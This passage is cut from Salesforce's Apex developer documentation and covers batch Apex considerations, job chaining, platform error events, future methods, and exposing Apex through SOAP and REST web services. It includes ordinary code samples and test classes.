the executeBatch method to ensure that it finishes before continuing your test.
• Use Database.Stateful with the class definition if you want to share instance member variables or data across job transactions.
Otherwise, all member variables are reset to their initial state at the start of each transaction.
• Methods declared as future aren’t allowed in classes that implement the Database.Batchable interface.
• Methods declared as future can’t be called from a batch Apex class.
• When a batch Apex job is run, email notifications are sent to the user who submitted the batch job. If the code is included in a
managed package and the subscribing org is running the batch job, notifications are sent to the recipient listed in the Apex
Exception Notification Recipient field.
• Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
• Each batch Apex invocation creates an AsyncApexJob record. To construct a SOQL query to retrieve the job’s status, number
of errors, progress, and submitter, use the AsyncApexJob record’s ID. For more information about the AsyncApexJob object,
see AsyncApexJob in the Object Reference for Salesforce.

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• For each 10,000 AsyncApexJob records, Apex creates an AsyncApexJob record of type BatchApexWorker for internal
use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker
using the JobType field. Otherwise, the query returns one more record for every 10,000 AsyncApexJob records. For more
information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce.
• All implemented Database.Batchable interface methods must be defined as public or global.
• For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for
the records in the batch. This process ensures that sharing is accurate and complete.
• Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when
system resources become available, the queued batch jobs are executed. If a batch job is running when downtime occurred, the
batch execution is rolled back and restarted after the service comes back up. Because execute methods can therefore run multiple
times, any non-transactional operations, such as callouts, can be retried. All non-transactional operations must follow Idempotent
Design Considerations to maintain data integrity.
• Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such
sources as future methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000
unprocessed requests from a single organization are in the queue, any additional requests from the same organization are delayed
while the queue handles requests from other organizations.
• Salesforce recommends that you design your asynchronous Apex jobs to handle variations in processing time. For example, to
handle potential processing overlaps, consider chaining batch jobs on page 297 instead of scheduling jobs at fixed intervals.
• Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and
tune the queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed
when many jobs are in the queue.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– Enable Request Row Counts on the external data source, and each response from the external system must include the total
row count of the result set.
– We recommend enabling Server-Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing datasets more effectively than client-driven paging.
When Server-Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.

– When Server-Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of these two sizes:
• Batch size specified in the scope parameter of Database.executeBatch. The default is 200 records.
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.

• Batch Apex jobs run faster when the start method returns a QueryLocator object that doesn't include related records via
a subquery. Avoiding relationship subqueries in a QueryLocator allows batch jobs to run using a faster, chunked implementation.
If the start method returns an iterable or a QueryLocator object with a relationship subquery, the batch job uses a slower,
non-chunking, implementation. For example, if this query is used in the QueryLocator, the batch job uses a slower implementation
because of the relationship subquery:
SELECT Id, (SELECT id FROM Contacts) FROM Account

A better strategy is to perform the subquery separately, from within the execute method, which allows the batch job to run
using the faster, chunking implementation.

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• To implement record locking as part of the batch job, you can requery records inside the execute method, using FOR UPDATE.
Requerying records in this manner ensures that conflicting updates aren’t overwritten by DML in the batch job. To requery records,
simply select the Id field in the batch job's main query locator.
• The Salesforce Platform's flow control mechanism and fair-usage algorithm can cause a delay in running batch jobs.

Chaining Batch Jobs

Starting with API version 26.0, you can start another batch job from an existing batch job to chain jobs together. Chaining enforces strict
sequential execution, ensuring that one job fully completes before the next one starts. This sequencing prevents situations where multiple
batch jobs attempt to concurrently process the same records, which can lead to race conditions or data inconsistencies. Use chained
batch jobs if you require sequential execution and batch processing, such as processing large data volumes. Otherwise, if batch processing
isn’t needed, consider using Queueable Apex.
You can chain a batch job by calling Database.executeBatch or System.scheduleBatch from the finish method
of the current batch class. The new batch job starts after the current batch job finishes.
A potential failure point in chained batch jobs is an unhandled exception within the job’s finish method. The unhandled exception
prevents the next job from being enqueued and breaks the sequence. To safeguard against this point of failure, consider implementing
a separate scheduled Apex job that periodically checks the status of the chain. The scheduled job queries the AsyncApexJob object
for records where the JobType is 'BatchApex' and the ApexClass.Name matches the class expected to be currently running
or queued within the chain. If this query returns no results, the expected job is neither running nor queued, which signifies that the chain
has been unexpectedly interrupted. The scheduled job then restarts the entire batch chain, which prevents unprocessed records from
accumulating and possibly reaching governor limits.
When creating a long chain of batch jobs, account for workload variations. If there's currently no further work to perform either in the
current job’s finish method or because your business is entering an off-peak period, use System.scheduleBatch to add a
delay before the execution of next chained batch job. This delay optimizes the usage of available batch jobs and the flex queue by
preventing jobs that don't have any work from repeatedly starting.

Note: For API version 25.0 and earlier, you can’t call Database.executeBatch or System.scheduleBatch from
any batch Apex method.
The API version that’s used is the version of the running batch class that starts or schedules another batch job. If the finish
method in the running batch class calls a method in a helper class to start the next batch job, the API version of the helper class
doesn’t matter.

SEE ALSO:
Apex Reference Guide: Batchable Interface
Apex Reference Guide:FlexQueue Class
Apex Reference Guide: Test.enqueueBatchJobs()
Apex Reference Guide: Test.getFlexQueueOrder()
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter

Firing Platform Events from Batch Apex

Batch Apex classes can fire platform events when encountering an error or exception. Clients listening on an event can obtain actionable
information, such as how often the event failed and which records were in scope at the time of failure. Events are also fired for Salesforce
Platform internal errors and other uncatchable Apex exceptions such as LimitExceptions, which are caused by reaching governor limits.

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An event message provides more granular error tracking than the Apex Jobs UI. It includes the record IDs being processed, exception
type, exception message, and stack trace. You can also incorporate custom handling and retry logic for failures. You can invoke custom
Apex logic from any trigger on this type of event, so Apex developers can build functionality like custom logging or automated retry
handling.
For information on subscribing to platform events, see Subscribing to Platform Events.
The BatchApexErrorEvent object represents a platform event associated with a batch Apex class. This object is available in API version
44.0 and later. If the start, execute, or finish method of a batch Apex job encounters an unhandled exception, a
BatchApexErrorEvent platform event is fired. For more details, see BatchApexErrorEvent in the Platform Events Developer Guide.
To fire a platform event, a batch Apex class declaration must implement the Database.RaisesPlatformEvents interface.
public with sharing class YourSampleBatchJob implements Database.Batchable<SObject>,
Database.RaisesPlatformEvents{
// class implementation
}

Example: This example creates a trigger to determine which accounts failed in the batch transaction. Custom field Dirty__c
indicates that the account was one of a failing batch and ExceptionType__c indicates the exception that was encountered.
JobScope and ExceptionType are fields in the BatchApexErrorEvent object.
trigger MarkDirtyIfFail on BatchApexErrorEvent (after insert) {
Set<Id> asyncApexJobIds = new Set<Id>();
for(BatchApexErrorEvent evt:Trigger.new){
asyncApexJobIds.add(evt.AsyncApexJobId);
}

Map<Id,AsyncApexJob> jobs = new Map<Id,AsyncApexJob>(

[SELECT id, ApexClass.Name FROM AsyncApexJob WHERE Id IN :asyncApexJobIds]
);

List<Account> records = new List<Account>();

for(BatchApexErrorEvent evt:Trigger.new){
//only handle events for the job(s) we care about
if(jobs.get(evt.AsyncApexJobId).ApexClass.Name == 'AccountUpdaterJob'){
for (String item : evt.JobScope.split(',')) {
Account a = new Account(
Id = (Id)item,
ExceptionType__c = evt.ExceptionType,
Dirty__c = true
);
records.add(a);
}
}
}
update records;
}

Testing BatchApexErrorEvent Messages Published from Batch Apex Jobs

Use the Test.getEventBus().deliver() method to deliver event messages that are published by failed batch Apex jobs.
Use the Test.startTest() and Test.stopTest() statement block to execute the batch job.

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This snippet shows how to execute a batch Apex job and deliver event messages. It executes the batch job after Test.stopTest().
This batch job publishes a BatchApexErrorEvent message when a failure occurs through the implementation of
Database.RaisesPlatformEvents. After Test.stopTest() runs, a separate Test.getEventBus().deliver()
statement is added so that it can deliver the BatchApexErrorEvent.
try {
Test.startTest();
Database.executeBatch(new SampleBatchApex());
Test.stopTest();
// Batch Apex job executes here
} catch(Exception e) {
// Catch any exceptions thrown in the batch job
}

// The batch job fires BatchApexErrorEvent if it fails, so deliver the event.

Test.getEventBus().deliver();

Note: If further platform events are published by downstream processes, add Test.getEventBus().deliver(); to
deliver the event messages for each process. For example, if a platform event trigger, which processes the event from the Apex
job, publishes another platform event, add a Test.getEventBus().deliver(); statement to deliver the event message.

SEE ALSO:
Platform Events Developer Guide: Deliver Test Event Messages
Platform Events Developer Guide: Event and Event Bus Properties in Test Context

Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as
callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also use future methods
to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and executes when
system resources become available. That way, the execution of your code doesn’t have to wait for the completion of a long-running
operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}

Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation can’t
take sObjects or objects as arguments.
The reason why sObjects can’t be passed as arguments to future methods is because the sObject can change between the time you call
the method and the time it executes. In this case, the future method gets the old sObject values and can overwrite them. To work with

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sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query for the
most up-to-date record. The following example shows how to do so with a list of IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}

The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an
extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using
Apex.
global class FutureMethodExample
{
@future(callout=true)
public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}

Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. In this example, the
future method, insertUserWithRole, which is defined in the Util class, performs the insertion of a user with the COO role.
This future method requires the COO role to be defined in the organization. The useFutureMethod method in MixedDMLFuture
inserts an account and calls the future method, insertUserWithRole.
This Util class contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {

Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];

UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}

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This class contains the main method that calls the future method that was defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;

// This next operation (insert a user with a role)

// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'[email protected]', 'mruiz',
'[email protected]', 'Ruiz');
}
}

You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another future
method.
Methods with the future annotation have the following limits:
• No more than 0 in batch and future contexts; 50 in queueable context method calls per Apex invocation. Asynchronous calls, such
as @future or executeBatch, called in a startTest, stopTest block, don’t count against your limits for the number
of queued jobs.

Note: Having multiple future methods fan out from a queueable job isn’t recommended practice as it can rapidly add a large
number of future methods to the asynchronous queue. Request processing can be delayed and you can quickly hit the daily
maximum limit for asynchronous Apex method executions. See Future Method Performance Best Practices and Lightning
Platform Apex Limits.

• The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to REST API limits resource. See List Organization Limits in the REST API Developer Guide. If the number of
asynchronous Apex executions needed by a job exceeds the available number that’s calculated using the 24-hour rolling limit, an
exception is thrown. For example, if your async job requires 10,000 method executions and the available 24-hour rolling limit is
9,500, you get AsyncApexExecutions Limit exceeded exception. The license types that count toward this limit include full Salesforce
and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities
users.

Note:
• Future jobs queued by a transaction aren’t processed if the transaction rolls back.
• Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime
ends and when system resources become available, the queued future method jobs are executed. If a future method was
running when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.

Testing Future Methods

To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest() code block. All
asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous
processes are run synchronously.

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For our example, here’s the test class.

@isTest
private class MixedDMLFutureTest {
@isTest static void test1() {
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// System.runAs() allows mixed DML operations in test context
System.runAs(thisUser) {
// startTest/stopTest block to run future method synchronously
Test.startTest();
MixedDMLFuture.useFutureMethod();
Test.stopTest();
}
// The future method will run after Test.stopTest();

// Verify account is inserted

Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
System.assertEquals(1, accts.size());
// Verify user is inserted
User[] users = [SELECT Id from User where username='[email protected]'];
System.assertEquals(1, users.size());
}
}

Future Method Performance Best Practices

Salesforce uses a queue-based framework to handle asynchronous processes from such sources as future methods and batch Apex. This
queue is used to balance request workload across organizations. Use the following best practices to ensure your organization is efficiently
using the queue for your asynchronous processes.
• Avoid adding large numbers of future methods to the asynchronous queue, if possible. If more than 2,000 unprocessed requests
from a single organization are in the queue, any additional requests from the same organization will be delayed while the queue
handles requests from other organizations.
• Ensure that future methods execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times
and tune queries used in your future methods. The longer the future method executes, the more likely other queued requests are
delayed when there are a large number of requests in the queue.
• Test your future methods at scale. To help determine if delays can occur, test using an environment that generates the maximum
number of future methods you’d expect to handle.
• Consider using batch Apex instead of future methods to process large numbers of records.

Exposing Apex Methods as SOAP Web Services

You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
To expose your Apex methods, use Webservice Methods.

Tip:
• Apex SOAP web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts
enable Apex to invoke external web or HTTP services.
• Apex REST API exposes your Apex classes and methods as REST web services. See Exposing Apex Classes as REST Web Services.

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Webservice Methods
Exposing Data with Webservice Methods
Considerations for Using the webservice Keyword
Overloading Web Service Methods

Webservice Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service
to perform an action in Salesforce. Use the webservice keyword to define these methods. For example:
global class MyWebService {
webservice static Id makeContact(String contactLastName, Account a) {
Contact c = new Contact(lastName = contactLastName, AccountId = a.Id);
insert c;
return c.id;
}
}

A developer of an external application can integrate with an Apex class containing webservice methods by generating a WSDL for
the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes.
2. Click the name of a class that contains webservice methods.
3. Click Generate WSDL.

Exposing Data with Webservice Methods

Invoking a custom webservice method always uses system context. Consequently, the current user's credentials are not used, and
any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules.
Developers who expose methods with the webservice keyword should therefore take care that they are not inadvertently exposing
any sensitive data.

Warning: Apex class methods that are exposed through the API with the webservice keyword don't enforce object permissions
and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods
to check the current user’s access level on the objects and fields that the webservice method is accessing. See DescribeSObjectResult
Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that contain webservice methods. To enforce sharing rules for webservice
methods, declare the class that contains these methods with the with sharing keyword. See Use the with sharing, without
sharing, and inherited sharing Keywords.

Considerations for Using the webservice Keyword

When using the webservice keyword, keep the following considerations in mind:
• Use the webservice keyword to define top-level methods and outer class methods. You can’t use the webservice keyword
to define a class or an inner class method.
• You cannot use the webservice keyword to define an interface, or to define an interface's methods and variables.
• System-defined enums cannot be used in Web service methods.

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• You cannot use the webservice keyword in a trigger.

• All classes that contain methods defined with the webservice keyword must be declared as global. If a method or inner
class is declared as global, the outer, top-level class must also be defined as global.
• Methods defined with the webservice keyword are inherently global. Any Apex code that has access to the class can use these
methods. You can consider the webservice keyword as a type of access modifier that enables more access than global.
• Define any method that uses the webservice keyword as static.
• You cannot deprecate webservice methods or variables in managed package code.
• Because there are no SOAP analogs for certain Apex elements, methods defined with the webservice keyword cannot take the
following elements as parameters. While these elements can be used within the method, they also cannot be marked as return
values.
– Maps
– Sets
– Pattern objects
– Matcher objects
– Exception objects

• Use the webservice keyword with any member variables that you want to expose as part of a Web service. Do not mark these
member variables as static.
Considerations for calling Apex SOAP Web service methods:
• Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
• Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP
Web service methods aren't supported and result in the INVALID_OPERATION_WITH_EXPIRED_PASSWORD error. Reset the user's
password and make a call with an unexpired password to be able to call Apex Web service methods.
The following example shows a class with Web service member variables and a Web service method:
global class SpecialAccounts {

global class AccountInfo {

webservice String AcctName;
webservice Integer AcctNumber;
}

webservice static Account createAccount(AccountInfo info) {

Account acct = new Account();
acct.Name = info.AcctName;
acct.AccountNumber = String.valueOf(info.AcctNumber);
insert acct;
return acct;
}

webservice static Id [] createAccounts(Account parent,

Account child, Account grandChild) {

insert parent;
child.parentId = parent.Id;

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insert child;
grandChild.parentId = child.Id;
insert grandChild;

Id [] results = new Id[3];

results[0] = parent.Id;
results[1] = child.Id;
results[2] = grandChild.Id;
return results;
}
}

// Test class for the previous class.

@isTest
private class SpecialAccountsTest {
testMethod static void testAccountCreate() {
SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
info.AcctName = 'Manoj Cheenath';
info.AcctNumber = 12345;
Account acct = SpecialAccounts.createAccount(info);
System.assert(acct != null);
}
}

You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 322.

Overloading Web Service Methods

SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with
the webservice keyword to have the same name. Web service methods that have the same name in the same class generate a
compile-time error.

Exposing Apex Classes as REST Web Services

You can expose your Apex classes and methods so that external applications can access your code and your application through the
REST architecture.
This is an overview of how to expose your Apex classes as REST web services. You'll learn about the class and method annotations and
see code samples that show you how to implement this functionality.

Tip: Apex SOAP web services allow an external application to invoke Apex methods through SOAP web services. See Exposing
Apex Methods as SOAP Web Services.

Introduction to Apex REST

Apex REST Annotations
Apex REST Methods
Exposing Data with Apex REST Web Service Methods
Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not
used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently
exposing any sensitive data.

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Apex REST Code Samples

Introduction to Apex REST

You can expose your Apex class and methods so that external applications can access your code and your application through the REST
architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST resource. Similarly,
add annotations to your methods to expose them through REST. For example, you can add the @HttpGet annotation to your method
to expose it as a REST resource that can be called by an HTTP GET request. For more information, see Apex REST Annotations on page
112
These are the classes containing methods and properties you can use with Apex REST.

Class Description
RestContext Class Contains the RestRequest and RestResponse objects.

request Use the System.RestRequest class to access and pass

request data in a RESTful Apex method.

response Represents an object used to pass data from an Apex RESTful Web
service method to an HTTP response.

Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST
classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more
information, see Execution Governors and Limits.

Authentication
Apex REST supports these authentication mechanisms:
• OAuth 2.0
• Session ID
See Step Two: Set Up Authorization in the REST API Developer Guide.

Apex REST Annotations

Use these annotations to expose an Apex class as a RESTful Web service.
• @ReadOnly
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut

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Apex REST Methods

Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the
body of a request or response, and the format is indicated by the Content-Type property in the HTTP header. You can retrieve the
body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters are defined in the Apex method,
an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource
representation is serialized into the response body.
These return and parameter types are allowed:
• Apex primitives (excluding sObject and Blob).
• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
• User-defined types that contain member variables of the types listed above.

Note: Apex REST doesn’t support XML serialization and deserialization of Connect in Apex objects. Apex REST does support JSON
serialization and deserialization of Connect in Apex objects. Also, some collection types, such as maps and lists, aren’t supported
with XML. See Request and Response Data Considerations for details.
Methods annotated with @HttpGet or @HttpDelete must have no parameters. This is because GET and DELETE requests have
no request body, so there's nothing to deserialize.
The @ReadOnly annotation supports the Apex REST annotations for all the HTTP requests: @HttpDelete, @HttpGet, @HttpPatch,
@HttpPost, and @HttpPut.
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method.
For example, the same class can't have two methods annotated with @HttpGet.

Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data.

Apex REST Method Considerations

Here are a few points to consider when you define Apex REST methods.
• RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext
object. This example shows how to access these objects through RestContext:
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;

• If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't
be deserialized into the RestRequest.requestBody property.
• Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type has the return value serialized
into RestResponse.responseBody. If the return type includes fields with null values, those fields aren’t serialized into the
response body.
• Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a
managed package, you must include the managed package namespace in the REST call URL. For example, if the class is contained
in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of
/MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.

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• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web
service methods aren't supported and result in the MUTUAL_AUTHENTICATION_FAILED error. Reset the user's password and make
a call with an unexpired password to be able to call Apex Web service methods.
• If the heap limit is exceeded in the process of serialization, an HTTP 200 code is returned and the error {"status":"some
error occurred"} is appended to the partial JSON response. Returning a collection of sObjects from a REST method involves
buffering the JSON serialized form of each sObject. Heap and CPU limits may not be encountered until after the HTTP response
header and initial data has started streaming back to the client. To gain control of the statusCode and the responseBody, use
a RestResponse instead of directly returning sObjects.

User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private,
or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example,
an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {

@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}

global class MyUserDefinedClass {

global String string1;

global String string2 { get; set; }
private String privateString;
global transient String transientString;

Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
"privateString" : "value for privateString"
}
}

<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>
</ic>
</request>

The public, private, or global class member variables must be types allowed by Apex REST:
• Apex primitives (excluding sObject and Blob).

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• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that
result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {

@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}

global class MyUserDef1 {

MyUserDef2 userDef2;
}

global class MyUserDef2 {

MyUserDef1 userDef1;
}

The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of
def1 and def2, and generates an HTTP 400 status code error response.

Request and Response Data Considerations

Some additional things to keep in mind for the request data for your Apex REST methods:
• The names of the Apex parameters matter, although the order doesn’t. For example, valid requests in both XML and JSON look like
the following:
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)

{
"s1" : "my first string",
"i1" : 123,
"s2" : "my second string",
"b1" : false
}

<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>

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• The URL patterns URLpattern and URLpattern/* match the same URL. If one class has a urlMapping of URLpattern
and another class has a urlMapping of URLpattern/*, a REST request for this URL pattern resolves to the class that was saved
first.
• Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the
response, and hence, methods with these parameter or return types can't be used with XML. Lists, maps, or collections of collections,
for example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list
includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid
for XML and XML is the requested response format, an HTTP 406 status code is returned.
• For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both are treated as case-insensitive),
1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result in an error.
• If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response.
For example, if your method specifies an input parameter named x, the following JSON request data results in an error:
{
"x" : "value1",
"x" : "value2"
}

Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times,
this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {

@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}

global class MyUserDef1 {

Integer i;
}

The following JSON request data also results in an error:

{
"def" : {
"i" : 1,
"i" : 2
}
}

• If you must specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or specify
a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.
• For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example,
if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost

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global static MyUDT echoTest(MyUDT def, String extraString) {

return def;
}

global class MyUDT {

Integer count;
}
}

You can use the following XML request data:

<request>
<def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest">
<MyUDT:count>23</MyUDT:count>
</def>
<extraString>test</extraString>
</request>

Response Status Codes

The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the
HTTP request method. For the full list of response status codes, see statusCode.

Request Method Response Status Description

Code
GET 200 The request was successful.

PATCH 200 The request was successful and the return type is non-void.

PATCH 204 The request was successful and the return type is void.

DELETE, GET, PATCH, POST, PUT 400 An unhandled user exception occurred.

DELETE, GET, PATCH, POST, PUT 403 You don't have access to the specified Apex class.

DELETE, GET, PATCH, POST, PUT 404 The URL is unmapped in an existing @RestResource
annotation.

DELETE, GET, PATCH, POST, PUT 404 The URL extension is unsupported.

DELETE, GET, PATCH, POST, PUT 404 The Apex class with the specified namespace couldn't be found.

DELETE, GET, PATCH, POST, PUT 405 The request method doesn't have a corresponding Apex method.

DELETE, GET, PATCH, POST, PUT 406 The Content-Type property in the header was set to a value other
than JSON or XML.

DELETE, GET, PATCH, POST, PUT 406 The header specified in the HTTP request isn’t supported.

GET, PATCH, POST, PUT 406 The XML return type specified for format is unsupported.

DELETE, GET, PATCH, POST, PUT 415 The XML parameter type is unsupported.

DELETE, GET, PATCH, POST, PUT 415 The Content-Header Type specified in the HTTP request header
is unsupported.

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Request Method Response Status Description

Code
DELETE, GET, PATCH, POST, PUT 500 An unhandled Apex exception occurred.

SEE ALSO:
JSON Support
XML Support

Exposing Data with Apex REST Web Service Methods

Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not
used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently
exposing any sensitive data.
Apex class methods that are exposed through the Apex REST API don’t enforce object permissions and field-level security by default. To
enforce object or field-level security while using SOQL SELECT statements in Apex, use the WITH USER_MODE clause. You can strip
user-inaccessible fields from query and subquery results, or remove inaccessible sObject fields before DML operations by using the
Security.stripInaccessible method. You can also use the appropriate object or field describe result methods to check the
current user’s access level on the objects and fields that the Apex REST API method is accessing. See DescribeSObjectResult Class and
DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This requirement
applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for Apex REST API
methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing or
without sharing Keywords.

SEE ALSO:
Apex Security and Sharing

Apex REST Code Samples

These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources
from a client.

Apex REST Basic Code Sample

